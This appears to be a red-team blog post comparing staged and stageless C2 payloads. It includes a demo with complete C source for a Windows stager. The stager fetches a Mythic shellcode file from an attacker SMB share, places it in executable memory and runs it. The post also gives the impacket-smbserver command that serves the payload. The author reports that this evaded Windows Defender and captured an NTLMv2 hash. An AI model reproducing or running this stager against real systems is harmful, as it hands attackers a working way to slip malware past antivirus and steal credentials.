#
Staging vs Stageless payloads - Which one is Better?
#
Intro
In this documentation, we will explore the differences between staged and stageless payloads. In my recent video, I demonstrated how to use the Mythic C2 framework to successfully bypass Windows Defender — not through obfuscation or encryption, but purely by leveraging payload staging over SMB.
📺 Watch the full video here: https://youtu.be/CSt5wcvNjBU
Before diving deeper into this topic, make sure to join my Discord where we share experience, knowledge and doing CTFs together.
If you have further appreciation for my work, don't hesitate to become my Patreon! This way, you help the Red Teaming Army grow, while getting access to private tools such as the ShadowBurn packer.
#
What is a Stageless Payload?
A stageless payload is a single, self-contained binary or script that includes the entire functionality of the final payload at once. When executed, it immediately initiates a connection back to the C2 (Command and Control) server without requiring any additional downloads or secondary stages.
Characteristics:
- Contains both the loader and full payload logic.
- Easier to detect by security tools due to its size and complexity.
- Useful when staging isn't possible (e.g., no or restricted network access).
- Requires more effort to obfuscate and hide in memory.
#
What is a Staged Payload?
A staged payload breaks the delivery into two or more parts. The initial stage (the stager) is small and lightweight — its only job is to download or retrieve the second stage (the full payload) from a specified location (e.g., an SMB server, HTTP server, etc.).
Characteristics:
- Smaller initial binary, making it easier to deliver and evade defenses.
- The second stage can be dynamically fetched or built in memory.
- More modular and flexible for C2 communications.
- Detection can be bypassed by isolating or encrypting the second stage.
#
Demo
This section contains the live demonstration and technical walkthrough of the technique. It includes code snippets, configurations, and output logs relevant to staging payloads over SMB using Mythic C2.
During the demo I used Mythic C2 (https://github.com/its-a-feature/Mythic) but the technique is applicable and recommended for any C2 framework.
The code was compiled from my Offensive CPP Repository:
SMB Staging code: https://github.com/lsecqt/OffensiveCpp/blob/main/Staging%20Techniques/SMB_Stage.c
Direct Pointer Shellcode Execution Blogpost: https://lsecqt.github.io/Red-Teaming-Army/malware-development/leveraging-the-direct-pointer-a-stealthy-maneuver-in-evasion-tactics/
During the video, I created the following code:
#include <windows.h>
#include <stdio.h>
unsigned char buf[2120150] = "";
void readBin(const char* fileName) {
FILE* file;
DWORD file_length;
HANDLE hFile = CreateFileA(fileName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == NULL)
{
printf("Error opening file: %d\n", GetLastError());
exit(-99);
}
BOOL rez = ReadFile(hFile, &buf, 2120150, NULL, NULL);
if (rez == FALSE)
{
printf("Error reading file: %d\n", GetLastError());
exit(-98);
}
}
int main()
{
LPVOID pAddr = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
readBin("\\\\192.168.0.185\\share\\apollo.bin");
memcpy(pAddr, buf, sizeof(buf));
((void(*)())pAddr)();
}
Here is important to note the size of unsigned char buf[2120150]
. The 2120150
is the size of the payload generated from Mythic C2. If you do ls -l
you can note the size of the file and this is the same size you need here.
Also, the size must be adjusted in here:
BOOL rez = ReadFile(hFile, &buf, 2120150, NULL, NULL);
Usually I would go for dynamic memory allocation but the point was to showcase the staging.
Next we need to setup the server side. Since we are going to stage over SMB, impacket-smbserver
can do the job perfect for us.
To launch the SMB server we can do:
impacket-smbserver <sharename> <sharepath> -ts -debug -smb2support
In our case I am using the CWD (Current Working Directory):
impacket-smbserver share . -ts -debug -smb2support
<sharename>
must be the same as the one specific here:
readBin("\\\\192.168.0.185\\share\\apollo.bin");
C2 Callback came immediate while Defender was turned on.
Additionally, we also received the NTLMv2 hash of the user because of the SMB communication.
This is demonstration only for staging technique. Even though it bypassed Defender do no think it is enough. Malware development is a combination of techniques!